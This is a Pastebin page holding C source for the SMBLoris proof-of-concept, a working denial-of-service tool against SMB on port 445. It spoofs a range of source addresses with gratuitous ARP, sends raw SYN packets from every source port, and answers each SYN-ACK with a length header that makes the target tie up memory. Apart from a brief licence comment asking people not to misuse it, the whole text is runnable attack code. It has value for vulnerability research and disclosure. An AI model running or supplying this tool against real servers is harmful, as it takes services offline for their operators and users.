Guest User

Untitled

a guest
Aug 3rd, 2017
712
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.90 KB | None | 0 0
  1. /* SMBLoris attack proof-of-concept
  2. *
  3. * Copyright 2017 Hector Martin "marcan" <[email protected]>
  4. *
  5. * Licensed under the terms of the 2-clause BSD license.
  6. *
  7. * This is a proof of concept of a publicly disclosed vulnerability.
  8. * Please do not go around randomly DoSing people with it.
  9. */
  10.  
  11. #include <stdio.h>
  12. #include <string.h>
  13. #include <stdint.h>
  14. #include <stdlib.h>
  15. #include <unistd.h>
  16. #include <errno.h>
  17.  
  18. #include <netinet/ip.h>
  19. #include <netinet/tcp.h>
  20. #include <sys/socket.h>
  21. #include <linux/if_packet.h>
  22. #include <net/ethernet.h>
  23. #include <sys/ioctl.h>
  24. #include <net/if.h>
  25. #include <net/if_arp.h>
  26.  
  27. #define CHECK(cond, name) if (cond) { perror(name); exit(1); }
  28.  
  29. #define MIN_PORT 1
  30. #define MAX_PORT 65535
  31.  
  32. struct {
  33. char *iface;
  34. uint8_t hwaddr[6];
  35. uint32_t src_min;
  36. uint32_t src_max;
  37. uint32_t dst;
  38. struct sockaddr_in dst_sa;
  39. } cfg;
  40.  
  41. int sock;
  42.  
  43. static void usage(const char *argv0) {
  44. fprintf(stderr, "Usage: %s <iface> <src_ip_start> <src_ip_end> <dst_ip>\n", argv0);
  45. exit(1);
  46. }
  47.  
  48. uint32_t parse_ip(const char *s) {
  49. int a,b,c,d;
  50. if (sscanf(s, "%d.%d.%d.%d", &a, &b, &c, &d) != 4) {
  51. fprintf(stderr, "Failed to parse IPv4 address %s\n", s);
  52. exit(1);
  53. }
  54. return (a<<24) | (b<<16) | (c<<8) | d;
  55. }
  56.  
  57. uint16_t fold(uint32_t v) {
  58. return (v & 0xffff) + (v >> 16);
  59. }
  60.  
  61. uint32_t csum(void *buf, int len)
  62. {
  63. uint32_t s = 0;
  64. uint16_t *p = buf;
  65. while (len) {
  66. s += *p++;
  67. len -= 2;
  68. }
  69. return s;
  70. }
  71.  
  72. void get_hwaddr(const char *iface, uint8_t *hwaddr)
  73. {
  74. int sock = socket(PF_INET, SOCK_PACKET, htons(ETH_P_ARP));
  75. CHECK(sock < 0, "socket(PF_INET, SOCK_PACKET, ETH_P_ARP)");
  76. struct ifreq req;
  77. strncpy(req.ifr_name, iface, sizeof(req.ifr_name));
  78. CHECK(ioctl(sock, SIOCGIFHWADDR, &req) < 0, "ioctl(SIOCGIFHWADDR)");
  79. memcpy(cfg.hwaddr, req.ifr_hwaddr.sa_data, 6);
  80. close(sock);
  81. }
  82.  
  83. void send_arp(uint32_t addr)
  84. {
  85. struct sockaddr sa;
  86. strncpy(sa.sa_data, cfg.iface, sizeof(sa.sa_data));
  87.  
  88. struct {
  89. struct ether_header eth;
  90. struct arphdr arp;
  91. uint8_t ar_sha[6];
  92. uint32_t ar_sip;
  93. uint8_t ar_tha[6];
  94. uint32_t ar_tip;
  95. } __attribute__((packed)) pkt;
  96. memset(&pkt, 0, sizeof(pkt));
  97. memset(&pkt.eth.ether_dhost, 0xff, 6);
  98. memcpy(&pkt.eth.ether_shost, cfg.hwaddr, 6);
  99. pkt.eth.ether_type = htons(ETHERTYPE_ARP);
  100.  
  101. pkt.arp.ar_hrd = htons(1);
  102. pkt.arp.ar_pro = htons(ETH_P_IP);
  103. pkt.arp.ar_hln = 6;
  104. pkt.arp.ar_pln = 4;
  105. pkt.arp.ar_op = htons(ARPOP_REQUEST);
  106. memcpy(pkt.ar_sha, cfg.hwaddr, ETH_ALEN);
  107. pkt.ar_sip = htonl(addr);
  108. memset(pkt.ar_tha, 0xff, ETH_ALEN);
  109. pkt.ar_tip = htonl(addr);
  110.  
  111. int sock = socket(PF_INET, SOCK_PACKET, htons(ETH_P_ARP));
  112. CHECK (sock < 0, "socket(PF_INET, SOCK_PACKET, ETH_P_ARP)");
  113. CHECK(sendto(sock, &pkt, sizeof(pkt), 0, &sa, sizeof(sa)) < 0, "sendto(gratuitous ARP)");
  114. close(sock);
  115. }
  116.  
  117. int sent_packets = 0, errors = 0, replies = 0;
  118.  
  119. void process_replies(int sock, int rsock)
  120. {
  121. struct {
  122. struct iphdr ip;
  123. struct tcphdr tcp;
  124. uint8_t data[32];
  125. } reply;
  126.  
  127. while (1) {
  128. int ret = recv(rsock, &reply, sizeof(reply), 0);
  129. if (ret < 0 && errno == EAGAIN)
  130. return;
  131. CHECK(ret < 0, "recv");
  132.  
  133. if (reply.ip.saddr != htonl(cfg.dst))
  134. continue;
  135. if (ntohl(reply.ip.daddr) < cfg.src_min ||
  136. ntohl(reply.ip.daddr) > cfg.src_max)
  137. continue;
  138. if (reply.ip.protocol != IPPROTO_TCP || reply.tcp.source != htons(445))
  139. continue;
  140.  
  141. struct {
  142. struct iphdr ip;
  143. struct tcphdr tcp;
  144. uint8_t payload[4];
  145. } __attribute__((packed)) pkt;
  146.  
  147. memset(&pkt, 0, sizeof(pkt));
  148.  
  149. pkt.ip.ihl = 5;
  150. pkt.ip.version = 4;
  151. pkt.ip.ttl = 128;
  152. pkt.ip.protocol = IPPROTO_TCP;
  153. pkt.ip.saddr = reply.ip.daddr;
  154. pkt.ip.daddr = htonl(cfg.dst);
  155. pkt.tcp.dest = htons(445);
  156. pkt.tcp.source = reply.tcp.dest;
  157. pkt.tcp.doff = 5;
  158. pkt.tcp.window = htons(5840);
  159. pkt.tcp.ack = 1;
  160. pkt.tcp.ack_seq = htonl(ntohl(reply.tcp.seq) + 1);
  161. pkt.tcp.seq = reply.tcp.ack_seq;
  162. memcpy(pkt.payload, "\x00\x01\xff\xff", 4);
  163.  
  164. uint32_t sum = csum(&pkt.ip.saddr, 8) + htons(IPPROTO_TCP) + htons(sizeof(struct tcphdr) + 4) + csum(&pkt.tcp, sizeof(struct tcphdr) + 4);
  165. pkt.tcp.check = 0xffff - fold(sum);
  166. if (pkt.tcp.check == 0)
  167. pkt.tcp.check = 0xffff;
  168. ret = sendto(sock, &pkt, sizeof pkt, 0, (struct sockaddr*)&cfg.dst_sa, sizeof(cfg.dst_sa));
  169. if (ret < 0) {
  170. errors++;
  171. } else {
  172. replies++;
  173. }
  174. }
  175. }
  176.  
  177. int main(int argc, char **argv)
  178. {
  179. if (argc != 5) {
  180. usage(argv[0]);
  181. }
  182.  
  183. cfg.iface = argv[1];
  184. cfg.src_min = parse_ip(argv[2]);
  185. cfg.src_max = parse_ip(argv[3]);
  186. cfg.dst = parse_ip(argv[4]);
  187.  
  188. get_hwaddr(cfg.iface, cfg.hwaddr);
  189. fprintf(stderr, "Local MAC address: %02x:%02x:%02x:%02x:%02x:%02x\n",
  190. cfg.hwaddr[0], cfg.hwaddr[1], cfg.hwaddr[2],
  191. cfg.hwaddr[3], cfg.hwaddr[4], cfg.hwaddr[5]);
  192.  
  193. int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  194. CHECK(sock < 0, "socket(AF_INET, SOCK_RAW, IPPROTO_RAW)");
  195.  
  196. int rsock = socket(AF_PACKET, SOCK_DGRAM | SOCK_NONBLOCK, htons(ETH_P_IP));
  197. CHECK(rsock < 0, "socket(AF_INET, SOCK_DGRAM, ETH_P_IP)");
  198.  
  199. struct {
  200. struct iphdr ip;
  201. struct tcphdr tcp;
  202. } __attribute__((packed)) pkt;
  203.  
  204. memset(&pkt, 0, sizeof(pkt));
  205.  
  206. pkt.ip.ihl = 5;
  207. pkt.ip.version = 4;
  208. pkt.ip.ttl = 128;
  209. pkt.ip.protocol = IPPROTO_TCP;
  210. pkt.ip.daddr = htonl(cfg.dst);
  211. pkt.tcp.dest = htons(445);
  212. pkt.tcp.doff = 5;
  213. pkt.tcp.window = htons(5840);
  214. pkt.tcp.syn = 1;
  215.  
  216. memset(&cfg.dst_sa, 0, sizeof(cfg.dst_sa));
  217.  
  218. cfg.dst_sa.sin_family = AF_INET;
  219. cfg.dst_sa.sin_port = 0;
  220. cfg.dst_sa.sin_addr.s_addr = htonl(cfg.dst);
  221.  
  222. uint32_t src;
  223. int port;
  224. for (src = cfg.src_min; src <= cfg.src_max; src++) {
  225. pkt.ip.saddr = htonl(src);
  226. pkt.tcp.source = 0;
  227. pkt.tcp.check = 0;
  228. uint32_t sum = csum(&pkt.ip.saddr, 8) + htons(IPPROTO_TCP) + htons(sizeof(struct tcphdr)) + csum(&pkt.tcp, sizeof(struct tcphdr));
  229. send_arp(src);
  230. for (port = MIN_PORT; port <= MAX_PORT; port++) {
  231. pkt.tcp.source = htons(port);
  232. pkt.tcp.check = 0xffff - fold(sum + htons(port));
  233. if (pkt.tcp.check == 0)
  234. pkt.tcp.check = 0xffff;
  235. int ret = sendto(sock, &pkt, sizeof pkt, 0, (struct sockaddr*)&cfg.dst_sa, sizeof(cfg.dst_sa));
  236. if (ret < 0) {
  237. errors++;
  238. }
  239. sent_packets++;
  240. if (sent_packets % 100 == 0) {
  241. fprintf(stderr, "\r%d sent, %d errors, %d replies", sent_packets, errors, replies);
  242. send_arp(src);
  243. }
  244. process_replies(sock, rsock);
  245. }
  246. }
  247. fprintf(stderr, "\n");
  248. }
Advertisement
Add Comment
Please, Sign In to add comment